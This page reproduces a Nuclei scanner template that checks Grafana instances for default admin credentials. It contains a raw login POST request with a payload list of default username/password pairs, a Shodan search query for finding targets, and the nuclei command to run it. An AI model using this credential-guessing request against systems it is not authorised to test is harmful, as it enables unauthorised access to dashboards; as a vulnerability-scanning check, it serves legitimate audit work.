Grafana Default Login

ID: grafana-default-login

Severity: high

Author: pdteam

Tags: grafana,default-login

Description

Grafana default admin login credentials were detected.

YAML Source

id: grafana-default-login

info:
  name: Grafana Default Login
  author: pdteam
  severity: high
  description: Grafana default admin login credentials were detected.
  reference:
    - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
    - https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
    - https://github.com/grafana/grafana/issues/14755
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: title:"Grafana"
    product: grafana
    vendor: grafana
  tags: grafana,default-login

http:
  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Referer: {{BaseURL}}
        content-type: application/json

        {"user":"{{username}}","password":"{{password}}"}

    attack: pitchfork
    payloads:
      username:
        - admin
        - admin
      password:
        - prom-operator
        - admin

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "grafana_session" # Login cookie
        part: header

      - type: word
        part: body
        words:
          - "Logged in" # Logged in keyword

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205b45c89d8df45a50fbdfdb10d2961db7ea18e9f5bf0f8485e7b5b51ca4b003d2022100f9ef356783541f7493dca1cf715186c7edb1419f500bae05ab87e0f96119bfc4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/grafana/grafana-default-login.yaml"

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